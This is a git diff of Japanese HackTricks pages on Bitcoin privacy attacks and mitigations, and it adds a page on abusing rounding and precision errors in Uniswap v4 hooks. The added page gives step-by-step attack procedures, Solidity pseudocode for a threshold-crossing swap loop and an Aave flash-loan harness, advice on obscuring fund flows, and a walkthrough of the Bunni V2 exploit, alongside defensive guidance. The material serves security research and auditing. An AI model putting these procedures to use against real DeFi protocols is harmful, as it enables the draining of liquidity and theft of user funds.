- **Multisignature Transactions** はトランザクションを承認するために複数の署名を必要とします。
|
||||
- トランザクションは **inputs**(資金の出所)、**outputs**(送金先)、**fees**(miner に支払われる手数料)、および **scripts**(トランザクションのルール)で構成されます。
|
||||
|
||||
### ライトニングネットワーク
|
||||
### Lightning Network
|
||||
|
||||
ビットコインのスケーラビリティを向上させることを目的としており、チャネル内で複数の取引を可能にし、最終的な状態のみをブロックチェーンにブロードキャストします。
|
||||
Lightning Network はチャネル内で複数のトランザクションを行い、最終状態のみをブロックチェーンにブロードキャストすることで Bitcoin のスケーラビリティを向上させることを目的としています。
|
||||
|
||||
## ビットコインのプライバシーの懸念
|
||||
## Bitcoin Privacy Concerns
|
||||
|
||||
プライバシー攻撃、例えば**共通入力所有権**や**UTXO変更アドレス検出**は、取引パターンを悪用します。**ミキサー**や**CoinJoin**のような戦略は、ユーザー間の取引リンクを隠すことで匿名性を向上させます。
|
||||
Common Input Ownership や UTXO Change Address Detection のようなプライバシー攻撃はトランザクションパターンを悪用します。Mixers や CoinJoin のような戦略は、ユーザー間のトランザクションの関連付けを曖昧にして匿名性を向上させます。
|
||||
|
||||
## ビットコインを匿名で取得する方法
|
||||
## Acquiring Bitcoins Anonymously
|
||||
|
||||
方法には現金取引、マイニング、ミキサーの使用が含まれます。**CoinJoin**は複数の取引を混ぜて追跡を複雑にし、**PayJoin**はCoinJoinを通常の取引として偽装してプライバシーを高めます。
|
||||
方法には現金取引、マイニング、mixers の使用などがあります。**CoinJoin** は複数のトランザクションを混ぜて追跡を困難にし、**PayJoin** は通常のトランザクションに見せかけて CoinJoin を行うことでさらにプライバシーを高めます。
|
||||
|
||||
# ビットコインのプライバシー攻撃
|
||||
# Bitcoin Privacy Atacks
|
||||
|
||||
# ビットコインのプライバシー攻撃の概要
|
||||
# Summary of Bitcoin Privacy Attacks
|
||||
|
||||
ビットコインの世界では、取引のプライバシーとユーザーの匿名性はしばしば懸念の対象です。攻撃者がビットコインのプライバシーを侵害するいくつかの一般的な方法の簡略化された概要を以下に示します。
|
||||
Bitcoin の世界では、トランザクションのプライバシーやユーザーの匿名性がしばしば問題になります。以下は攻撃者が Bitcoin のプライバシーを侵害する一般的な手法の簡潔な概要です。
|
||||
|
||||
## **共通入力所有権の仮定**
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
異なるユーザーの入力が単一の取引に結合されることは一般的に稀であり、複雑さが関与します。したがって、**同じ取引内の2つの入力アドレスは、しばしば同じ所有者に属すると仮定されます**。
|
||||
異なるユーザーの inputs が単一のトランザクションで結合されることは通常稀であるため、**同じトランザクション内の二つの入力アドレスは同一の所有者に属すると推定されることが多い**です。
|
||||
|
||||
## **UTXO変更アドレス検出**
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
UTXO、または**未使用取引出力**は、取引で完全に消費されなければなりません。もしその一部だけが別のアドレスに送信されると、残りは新しい変更アドレスに送られます。観察者はこの新しいアドレスが送信者に属すると仮定し、プライバシーが侵害されます。
|
||||
UTXO(**Unspent Transaction Output**)はトランザクション内で完全に消費される必要があります。もしその一部だけが別のアドレスに送られると、残りは新しい change address に送られます。観察者はその新しいアドレスが送信者に属すると推定でき、プライバシーが損なわれます。
|
||||
|
||||
### 例
|
||||
### Example
|
||||
|
||||
これを軽減するために、ミキシングサービスや複数のアドレスを使用することで所有権を隠すことができます。
|
||||
これを緩和するために、mixing services を使ったり複数のアドレスを使用したりすることで所有権を曖昧にすることが有効です。
|
||||
|
||||
## **ソーシャルネットワークとフォーラムの露出**
|
||||
## **Social Networks & Forums Exposure**
|
||||
|
||||
ユーザーは時々自分のビットコインアドレスをオンラインで共有し、**アドレスを所有者にリンクさせるのが容易になります**。
|
||||
ユーザーがオンラインで自分の Bitcoin アドレスを共有することがあり、これによって**アドレスと所有者を結びつけることが容易になる**ことがあります。
|
||||
|
||||
## **取引グラフ分析**
|
||||
## **Transaction Graph Analysis**
|
||||
|
||||
取引はグラフとして視覚化でき、資金の流れに基づいてユーザー間の潜在的な接続を明らかにします。
|
||||
トランザクションはグラフとして可視化でき、資金の流れに基づいてユーザー間の潜在的な関連を明らかにします。
|
||||
|
||||
## **不必要な入力ヒューリスティック(最適変更ヒューリスティック)**
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
|
||||
このヒューリスティックは、複数の入力と出力を持つ取引を分析して、どの出力が送信者に戻る変更であるかを推測することに基づいています。
|
||||
このヒューリスティックは、複数の inputs と outputs を持つトランザクションを分析して、どの output が送信者に戻る change であるかを推測することに基づきます。
|
||||
|
||||
### 例
|
||||
### Example
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
もし追加の入力が出力を単一の入力よりも大きくする場合、それはヒューリスティックを混乱させる可能性があります。
|
||||
追加の inputs を加えることで change output が任意の単一の input より大きくなる場合、heuristic を混乱させることがある。
|
||||
|
||||
## **強制アドレス再利用**
|
||||
## **Forced Address Reuse**
|
||||
|
||||
攻撃者は以前に使用されたアドレスに少額を送信し、受取人が将来の取引でこれらを他の入力と組み合わせることを期待して、アドレスをリンクさせることを狙います。
|
||||
攻撃者は、受取人がこれらを将来の transactions において他の inputs と組み合わせることを期待して、以前に使用された addresses に少額を送ることがある。これにより addresses が相互に結び付けられる可能性がある。
|
||||
|
||||
### 正しいウォレットの動作
|
||||
### Correct Wallet Behavior
|
||||
|
||||
ウォレットは、プライバシーの漏洩を防ぐために、すでに使用された空のアドレスで受け取ったコインを使用することを避けるべきです。
|
||||
Wallets は既に使用されて空になった addresses で受け取ったコインを使うのを避け、この privacy leak を防ぐべきである。
|
||||
|
||||
## **その他のブロックチェーン分析技術**
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
|
||||
- **正確な支払い額:** お釣りのない取引は、同じユーザーが所有する2つのアドレス間のものである可能性が高いです。
|
||||
- **丸い数字:** 取引における丸い数字は、支払いであることを示唆し、非丸い出力はお釣りである可能性が高いです。
|
||||
- **ウォレットフィンガープリンティング:** 異なるウォレットは独自の取引作成パターンを持ち、分析者が使用されたソフトウェアやお釣りのアドレスを特定できるようにします。
|
||||
- **金額とタイミングの相関:** 取引の時間や金額を開示することは、取引を追跡可能にする可能性があります。
|
||||
- **Exact Payment Amounts:** change のない Transactions は、同一ユーザーが所有する二つの addresses 間の取引である可能性が高い。
|
||||
- **Round Numbers:** Transaction における丸い数字(切りの良い金額)は支払いを示唆し、非丸い output が change である可能性が高い。
|
||||
- **Wallet Fingerprinting:** 異なる wallets は独自の transaction 作成パターンを持ち、analysts は使用されたソフトウェアを特定し、潜在的に change address を特定できる。
|
||||
- **Amount & Timing Correlations:** transaction の時刻や金額を公開すると、取引が追跡可能になることがある。
|
||||
|
||||
## **トラフィック分析**
|
||||
## **Traffic Analysis**
|
||||
|
||||
ネットワークトラフィックを監視することで、攻撃者は取引やブロックをIPアドレスにリンクさせる可能性があり、ユーザーのプライバシーが侵害されることがあります。これは、あるエンティティが多くのビットコインノードを運営している場合に特に当てはまり、取引を監視する能力が向上します。
|
||||
network traffic を監視することで、攻撃者は transactions や blocks を IP addresses に結び付け、ユーザーのプライバシーを侵害する可能性がある。特に、ある主体が多数の Bitcoin nodes を運用している場合、transactions の監視能力が高まるため、このリスクは大きくなる。
|
||||
|
||||
## もっと
|
||||
## More
|
||||
|
||||
プライバシー攻撃と防御の包括的なリストについては、[Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)を訪れてください。
|
||||
プライバシー攻撃と防御の包括的な一覧については、[Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) を参照してください。
|
||||
|
||||
# 匿名ビットコイン取引
|
||||
# Anonymous Bitcoin Transactions
|
||||
|
||||
## 匿名でビットコインを取得する方法
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
|
||||
- **現金取引**: 現金でビットコインを取得すること。
|
||||
- **現金の代替**: ギフトカードを購入し、それをオンラインでビットコインと交換すること。
|
||||
- **マイニング**: ビットコインを得る最もプライベートな方法はマイニングであり、特に一人で行う場合は、マイニングプールがマイナーのIPアドレスを知っている可能性があるためです。[マイニングプール情報](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **盗難**: 理論的には、ビットコインを盗むことも匿名で取得する方法の一つですが、これは違法であり推奨されません。
|
||||
- **Cash Transactions**: 現金を使って Bitcoins を取得する方法。
|
||||
- **Cash Alternatives**: ギフトカードを購入してオンラインで Bitcoin と交換する方法。
|
||||
- **Mining**: 最もプライベートな方法で Bitcoin を得るのは mining で、特に単独で行う場合がそうである。なぜなら mining pools はマイナーの IP address を知る可能性があるからだ。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: 理論上、Bitcoin を盗むことも匿名で入手する方法になり得るが、違法であり推奨されない。
|
||||
|
||||
## ミキシングサービス
|
||||
## Mixing Services
|
||||
|
||||
ミキシングサービスを使用することで、ユーザーは**ビットコインを送信**し、**異なるビットコインを受け取る**ことができ、元の所有者を追跡することが難しくなります。しかし、これはサービスがログを保持せず、実際にビットコインを返すことを信頼する必要があります。代替のミキシングオプションにはビットコインカジノが含まれます。
|
||||
mixing service を利用すると、ユーザーは Bitcoins を送って異なる Bitcoins を受け取り、元の所有者の追跡を困難にすることができる。しかしこれは、そのサービスがログを保持せず、実際に Bitcoins を返すことを信頼する必要がある。代替の mixing オプションには Bitcoin casinos が含まれる。
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin**は、異なるユーザーからの複数の取引を1つに統合し、入力と出力を一致させようとする人にとってプロセスを複雑にします。その効果にもかかわらず、ユニークな入力と出力のサイズを持つ取引は依然として追跡される可能性があります。
|
||||
CoinJoin は複数のユーザーの Transactions を1つに結合し、inputs と outputs を照合しようとする者にとって困難にする。とはいえ、個別の input や output のサイズが独特な場合は、依然として追跡される可能性がある。
|
||||
|
||||
CoinJoinを使用した可能性のある取引の例には、`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`が含まれます。
|
||||
例として CoinJoin を使用した可能性のある transactions には `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` と `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` がある。
|
||||
|
||||
詳細については、[CoinJoin](https://coinjoin.io/en)を訪れてください。Ethereumの同様のサービスについては、マイナーからの資金で取引を匿名化する[Tornado Cash](https://tornado.cash)をチェックしてください。
|
||||
詳細は [CoinJoin](https://coinjoin.io/en) を参照。Ethereum 上の類似サービスとしては [Tornado Cash](https://tornado.cash) があり、miners の資金を用いて transactions を匿名化する。
|
||||
|
||||
## PayJoin
|
||||
|
||||
CoinJoinのバリアントである**PayJoin**(またはP2EP)は、2つの当事者(例:顧客と商人)間の取引を通常の取引として偽装し、CoinJoinの特徴的な等しい出力を持たないため、非常に検出が難しくなります。これにより、取引監視エンティティが使用する一般的な入力所有ヒューリスティックを無効にする可能性があります。
|
||||
CoinJoin の変種である PayJoin (または P2EP) は、(例えば顧客と販売者のような)二者間の取引を CoinJoin 特有の等しい outputs を伴わない通常の transaction のように偽装する。これにより検出が極めて難しくなり、transaction surveillance entities が用いる common-input-ownership heuristic を無効にする可能性がある。
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
取引は上記のようにPayJoinであり、標準的なビットコイン取引と区別がつかないままプライバシーを強化します。
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
|
||||
**PayJoinの利用は従来の監視手法を大きく妨げる可能性があり、**取引のプライバシーを追求する上で有望な発展です。
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
|
||||
# 暗号通貨におけるプライバシーのベストプラクティス
|
||||
|
||||
## **ウォレット同期技術**
|
||||
|
||||
プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期させることが重要です。2つの方法が際立っています:
|
||||
プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期することが重要です。特に次の2つの方法が目立ちます:
|
||||
|
||||
- **フルノード**:ブロックチェーン全体をダウンロードすることで、フルノードは最大限のプライバシーを確保します。過去に行われたすべての取引がローカルに保存され、敵対者がユーザーが関心を持つ取引やアドレスを特定することは不可能です。
|
||||
- **クライアントサイドブロックフィルタリング**:この方法は、ブロックチェーン内の各ブロックにフィルターを作成し、ウォレットが特定の関心をネットワークの観察者にさらすことなく関連する取引を特定できるようにします。軽量ウォレットはこれらのフィルターをダウンロードし、ユーザーのアドレスと一致する場合にのみフルブロックを取得します。
|
||||
- **Full node**: ブロックチェーン全体をダウンロードすることで、Full node は最大限のプライバシーを確保します。すべての取引がローカルに保存されるため、攻撃者がユーザーの関心のある取引やアドレスを特定することは不可能になります。
|
||||
- **Client-side block filtering**: この方法はブロックチェーン内の各ブロックに対してフィルタを作成するもので、ウォレットがネットワークの観測者に特定の関心を明かすことなく関連する取引を識別できるようにします。ライトウェイトなウォレットはこれらのフィルタをダウンロードし、ユーザーのアドレスに一致した場合にのみフルブロックを取得します。
|
||||
|
||||
## **匿名性のためのTorの利用**
|
||||
## **Utilizing Tor for Anonymity**
|
||||
|
||||
ビットコインがピアツーピアネットワークで動作するため、IPアドレスを隠すためにTorを使用することが推奨され、ネットワークとの相互作用時にプライバシーが向上します。
|
||||
Bitcoin がピアツーピアネットワーク上で動作することを考えると、Tor の使用は IP アドレスを隠すために推奨され、ネットワークとやり取りする際のプライバシーを向上させます。
|
||||
|
||||
## **アドレスの再利用防止**
|
||||
## **Preventing Address Reuse**
|
||||
|
||||
プライバシーを守るためには、取引ごとに新しいアドレスを使用することが重要です。アドレスを再利用すると、取引が同じ主体にリンクされることでプライバシーが損なわれる可能性があります。現代のウォレットはその設計によりアドレスの再利用を避けるようにしています。
|
||||
プライバシーを守るためには、各取引ごとに新しいアドレスを使うことが重要です。アドレスの使い回しは取引を同一主体に結びつけ、プライバシーを損なう可能性があります。モダンなウォレットは設計上アドレスの使い回しを抑制します。
|
||||
|
||||
## **取引プライバシーの戦略**
|
||||
## **Strategies for Transaction Privacy**
|
||||
|
||||
- **複数の取引**:支払いをいくつかの取引に分割することで、取引額を不明瞭にし、プライバシー攻撃を防ぎます。
|
||||
- **お釣りの回避**:お釣りの出力が不要な取引を選択することで、プライバシーを向上させ、お釣り検出手法を混乱させます。
|
||||
- **複数のお釣り出力**:お釣りを避けることができない場合でも、複数のお釣り出力を生成することでプライバシーを改善できます。
|
||||
- **Multiple transactions**: 支払いを複数の取引に分割することで取引金額を曖昧にし、プライバシー攻撃を阻止できます。
|
||||
- **Change avoidance**: お釣り(change outputs)が不要な取引を選ぶことで、チェンジ検出手法を混乱させ、プライバシーが向上します。
|
||||
- **Multiple change outputs**: チェンジを避けられない場合でも、複数のチェンジ出力を生成することでプライバシーを改善できます。
|
||||
|
||||
# **モネロ:匿名性の灯台**
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
|
||||
モネロはデジタル取引における絶対的な匿名性の必要性に応え、高いプライバシー基準を設定しています。
|
||||
Monero はデジタル取引における絶対的な匿名性のニーズに応え、高いプライバシー基準を設定しています。
|
||||
|
||||
# **イーサリアム:ガスと取引**
|
||||
# **Ethereum: Gas and Transactions**
|
||||
|
||||
## **ガスの理解**
|
||||
## **Understanding Gas**
|
||||
|
||||
ガスはイーサリアム上での操作を実行するために必要な計算努力を測定し、**gwei**で価格が設定されています。例えば、2,310,000 gwei(または0.00231 ETH)の取引は、ガス制限と基本料金が含まれ、マイナーへのインセンティブとしてチップが支払われます。ユーザーは過剰支払いを避けるために最大料金を設定でき、余剰は返金されます。
|
||||
Gas は Ethereum 上で操作を実行するために必要な計算量を測る単位で、価格は **gwei** で表されます。例えば、2,310,000 gwei(または 0.00231 ETH)の費用がかかる取引は、gas limit と base fee を伴い、マイナーへのインセンティブとして tip が加わります。ユーザーは max fee を設定して過支払いを防げるようになっており、余剰は払い戻されます。
|
||||
|
||||
## **取引の実行**
|
||||
## **Executing Transactions**
|
||||
|
||||
イーサリアムの取引には送信者と受信者が関与し、どちらもユーザーまたはスマートコントラクトのアドレスである可能性があります。取引には手数料が必要で、マイニングされなければなりません。取引における重要な情報には、受信者、送信者の署名、価値、オプションのデータ、ガス制限、手数料が含まれます。特に、送信者のアドレスは署名から推測されるため、取引データに含める必要はありません。
|
||||
Ethereum の取引は送信者と受信者を含み、いずれもユーザーアドレスかスマートコントラクトアドレスであり得ます。取引には手数料が必要で、マイニングされる必要があります。取引に含まれる重要な情報は、受信者、送信者の署名、value、任意の data、gas limit、そして手数料です。特筆すべきは、送信者のアドレスは署名から導出されるため、取引データに明示的に含める必要がない点です。
|
||||
|
||||
これらのプラクティスとメカニズムは、プライバシーとセキュリティを優先しながら暗号通貨に関与しようとする人々にとって基礎的なものです。
|
||||
これらの手法と仕組みは、プライバシーとセキュリティを優先して暗号通貨に関与しようとする人にとって基盤となるものです。
|
||||
|
||||
## 参考文献
|
||||
## 参考資料
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
@ -179,4 +181,12 @@ CoinJoinのバリアントである**PayJoin**(またはP2EP)は、2つの
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
## DeFi/AMM の悪用
|
||||
|
||||
もし DEXes や AMMs の実践的な悪用を調査しているなら(Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps)、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,160 @@
|
||||
# DeFi/AMM 攻撃: Uniswap v4 Hook 精度/丸めの悪用
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
このページは、カスタム hook でコア演算に拡張を加える Uniswap v4 スタイルの DEX に対する一連の DeFi/AMM 攻撃手法を記録するものです。最近の Bunni V2 のインシデントでは、各 swap 実行時に走る Liquidity Distribution Function (LDF) における丸め/精度の欠陥を突かれ、攻撃者が正のクレジットを蓄積して流動性を抜き取ることを可能にしました。
|
||||
|
||||
キーアイデア: hook が fixed‑point 演算、tick の丸め、しきい値ロジックに依存する追加の会計処理を実装している場合、攻撃者はしきい値を跨ぐように精密に exact‑input swap を作成して丸め差分を自分に有利に蓄積させることができます。このパターンを繰り返してから膨らんだ残高を引き出すことで利益を確定します。多くの場合、flash loan で一時的な資金を調達してガスを分散します。
|
||||
|
||||
## 背景: Uniswap v4 hooks と swap フロー
|
||||
|
||||
- Hooks は PoolManager がライフサイクルの特定のポイント(例: beforeSwap/afterSwap、beforeAddLiquidity/afterAddLiquidity、beforeRemoveLiquidity/afterRemoveLiquidity)で呼び出すコントラクトです。
|
||||
- Pools は PoolKey に hooks アドレスを含めて初期化されます。非ゼロであれば、PoolManager は関連する各操作でコールバックを実行します。
|
||||
- コア演算は Q64.96 のような fixed‑point 形式(sqrtPriceX96)や 1.0001^tick を用いる tick 演算を使用します。上に重ねる任意のカスタム演算は、丸めのセマンティクスを慎重に揃えないとインバリアントのドリフトを招きます。
|
||||
- Swaps は exactInput または exactOutput になり得ます。v3/v4 では価格が tick に沿って移動し、tick 境界を跨ぐと範囲流動性の有効化/無効化が発生することがあります。Hooks はしきい値/tick のクロッシングで追加ロジックを実装することがあります。
|
||||
|
||||
## 脆弱性の典型: しきい値跨ぎでの精度/丸めドリフト
|
||||
|
||||
カスタム hook でよく見られる脆弱なパターン:
|
||||
|
||||
1. Hook は各 swap ごとに整数除算、mulDiv、または fixed‑point 変換(例: token ↔ liquidity を sqrtPrice や tick 範囲で換算)を使って流動性や残高のデルタを計算する。
|
||||
2. 再バランスや段階的再配分、レンジごとの有効化などのしきい値ロジックが、swap サイズや価格変動が内部境界を越えたときに発動する。
|
||||
3. 順方向計算と清算パスで丸めが一貫して適用されていない(ゼロ方向への切り捨て、floor と ceil の不一致など)。小さな差分は打ち消されずに呼び出し元に有利に残る。
|
||||
4. 境界を跨ぐように正確にサイズ調整した exact‑input swap を繰り返し、正の丸め残差を収穫する。攻撃者は後で蓄積されたクレジットを引き出す。
|
||||
|
||||
攻撃の前提条件
|
||||
- 各 swap で追加の演算を行うカスタム v4 hook を使っているプール(例: LDF/rebalancer)。
|
||||
- しきい値跨ぎで swap 発起者に丸めが有利に働く少なくとも一つの実行パスが存在すること。
|
||||
- 多数の swap をアトミックに繰り返す能力(flash loans は一時的資金を供給してガスを相殺するのに理想的)。
|
||||
|
||||
## 実践的攻撃手順
|
||||
|
||||
1) Hook を持つ候補プールを特定する
|
||||
- v4 プールを列挙し、PoolKey.hooks != address(0) をチェックする。
|
||||
- Hook の bytecode/ABI を調べ、beforeSwap/afterSwap や任意の再バランス用メソッドを確認する。
|
||||
- 流動性で割る演算、token と liquidity の換算、または BalanceDelta を丸めで集計するような数学処理を探す。
|
||||
|
||||
2) Hook の演算としきい値をモデル化する
|
||||
- Hook の liquidity/redistribution 公式を再現する: 入力は通常 sqrtPriceX96、tickLower/Upper、currentTick、fee tier、net liquidity などを含む。
|
||||
- tick、バケット境界、LDF のブレークポイントなどのしきい値/ステップ関数をマッピングする。どちらの側でデルタが丸められるかを判定する。
|
||||
- uint256/int256 へのキャスト、SafeCast の使用、または暗黙の floor を伴う mulDiv の箇所を特定する。
|
||||
|
||||
3) しきい値を跨ぐように exact‑input swap を較正する
|
||||
- Foundry/Hardhat のシミュレーションを使って、価格を境界ちょうど跨がせて hook の分岐をトリガーするために必要な最小の Δin を計算する。
|
||||
- afterSwap の清算がコストを上回る形で呼び出し元にクレジットを付与し、正の BalanceDelta や hook の会計上のクレジットが残ることを検証する。
|
||||
- スワップを繰り返してクレジットを蓄積し、最後に hook の引き出し/清算経路を呼ぶ。
|
||||
|
||||
Example Foundry‑style test harness (pseudocode)
|
||||
```solidity
|
||||
function test_precision_rounding_abuse() public {
|
||||
// 1) Arrange: set up pool with hook
|
||||
PoolKey memory key = PoolKey({
|
||||
currency0: USDC,
|
||||
currency1: USDT,
|
||||
fee: 500, // 0.05%
|
||||
tickSpacing: 10,
|
||||
hooks: address(bunniHook)
|
||||
});
|
||||
pm.initialize(key, initialSqrtPriceX96);
|
||||
|
||||
// 2) Determine a boundary‑crossing exactInput
|
||||
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
|
||||
|
||||
// 3) Loop swaps to accrue rounding credit
|
||||
for (uint i; i < N; ++i) {
|
||||
pm.swap(
|
||||
key,
|
||||
IPoolManager.SwapParams({
|
||||
zeroForOne: true,
|
||||
amountSpecified: int256(exactIn), // exactInput
|
||||
sqrtPriceLimitX96: 0 // allow tick crossing
|
||||
}),
|
||||
""
|
||||
);
|
||||
}
|
||||
|
||||
// 4) Realize inflated credit via hook‑exposed withdrawal
|
||||
bunniHook.withdrawCredits(msg.sender);
|
||||
}
|
||||
```
|
||||
Calibrating the exactInput
|
||||
- tickステップについて ΔsqrtP を計算する: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
|
||||
- v3/v4 の式を使って Δin を近似する: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). 丸めの方向がコアの計算と一致していることを確認する。
|
||||
- 境界付近で Δin を ±1 wei 調整し、hook が有利に丸めるブランチを見つける。
|
||||
|
||||
4) Amplify with flash loans
|
||||
- 多数のイテレーションを原子的に実行するために、大きな名目額(例: 3M USDT または 2000 WETH)を借りる。
|
||||
- キャリブレーション済みの swap loop を実行し、その後 flash loan callback 内で引き出しと返済を行う。
|
||||
|
||||
Aave V3 flash loan スケルトン
|
||||
```solidity
|
||||
function executeOperation(
|
||||
address[] calldata assets,
|
||||
uint256[] calldata amounts,
|
||||
uint256[] calldata premiums,
|
||||
address initiator,
|
||||
bytes calldata params
|
||||
) external returns (bool) {
|
||||
// run threshold‑crossing swap loop here
|
||||
for (uint i; i < N; ++i) {
|
||||
_exactInBoundaryCrossingSwap();
|
||||
}
|
||||
// realize credits / withdraw inflated balances
|
||||
bunniHook.withdrawCredits(address(this));
|
||||
// repay
|
||||
for (uint j; j < assets.length; ++j) {
|
||||
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
5) 退出とクロスチェーン複製
|
||||
- 複数のチェーンにhooksがデプロイされている場合、各チェーンで同じ較正を繰り返す。
|
||||
- ブリッジで資金をターゲットチェーンに戻し、任意でレンディングプロトコルを経由してフローを難読化する。
|
||||
|
||||
## hook math における一般的な根本原因
|
||||
|
||||
- Mixed rounding semantics: mulDiv が切り捨てる一方で後続パスが実質的に切り上げる、または token/liquidity 間の変換で異なる丸めが適用される。
|
||||
- Tick alignment errors: あるパスで未丸めの ticks を使い、別のパスで tick‑spaced の丸めを行う。
|
||||
- BalanceDelta 符号/オーバーフロー問題:決済時に int256 と uint256 間で変換するときに発生する。
|
||||
- Q64.96 変換(sqrtPriceX96)での精度損失が逆方向のマッピングに反映されていない。
|
||||
- Accumulation pathways: スワップごとの残差がバーン/ゼロサムではなく、caller が引き出せるクレジットとして蓄積される。
|
||||
|
||||
## 防御ガイダンス
|
||||
|
||||
- Differential testing: 高精度の有理数演算を用いて hook の計算を参照実装とミラーリングし、等価性または常に攻撃者不利(決して caller に有利にならない)な有界誤差をアサートする。
|
||||
- 不変量/プロパティテスト:
|
||||
- スワップ経路と hook の調整にわたるデルタ(tokens、liquidity)の合計は、手数料を除いて価値を保存しなければならない。
|
||||
- どの経路も、繰り返される exactInput イテレーションにおいてスワップ開始者に正の純クレジットを生じさせてはならない。
|
||||
- exactInput/exactOutput の両方について、±1 wei 入力周辺の閾値/tick 境界テストを行う。
|
||||
- 丸めポリシー:常にユーザー不利に丸める共通の丸めヘルパーを集中化し、不整合なキャストや暗黙の切り捨てを排除する。
|
||||
- 決済シンク:回避不能な丸め残差はプロトコルのトレジャリに蓄積するか焼却し、決して msg.sender に帰属させない。
|
||||
- レート制限/ガードレール:リバランスのトリガーとなる最小スワップサイズを設定する;デルタがサブ‑wei の場合はリバランスを無効にする;デルタを期待範囲と照合して妥当性を検査する。
|
||||
- hook コールバックを全体的に見直す:beforeSwap/afterSwap と before/after の流動性変更は tick アラインメントとデルタの丸めについて一致しているべきである。
|
||||
|
||||
## ケーススタディ: Bunni V2 (2025‑09‑02)
|
||||
|
||||
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
|
||||
- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller.
|
||||
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
|
||||
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
|
||||
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain.
|
||||
|
||||
## ハンティングチェックリスト
|
||||
|
||||
- プールは non‑zero hooks アドレスを使用しているか?どのコールバックが有効か?
|
||||
- カスタム計算を使ったスワップ毎の再配分/リバランスがあるか?tick/閾値のロジックはあるか?
|
||||
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
|
||||
- 境界をかろうじて越える Δin を構築して有利な丸め分岐を生むことができるか?両方向・両方の exactInput と exactOutput をテストする。
|
||||
- hook は後で引き出せる per‑caller のクレジットやデルタを追跡しているか?残差が中和されていることを確認する。
|
||||
|
||||
## References
|
||||
|
||||
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
|
||||
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
|
||||
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
|
||||
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
|
||||
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
|
||||
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,182 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本概念
|
||||
|
||||
- **スマートコントラクト**は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムとして定義され、仲介者なしで合意の実行を自動化します。
|
||||
- **分散型アプリケーション (dApps)**はスマートコントラクトに基づいて構築され、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを特徴とします。
|
||||
- **トークンとコイン**は区別され、コインはデジタルマネーとして機能し、トークンは特定の文脈での価値や所有権を表します。
|
||||
- **ユーティリティトークン**はサービスへのアクセスを付与し、**セキュリティトークン**は資産の所有権を示します。
|
||||
- **DeFi**は分散型金融を意味し、中央集権的な権限なしで金融サービスを提供します。
|
||||
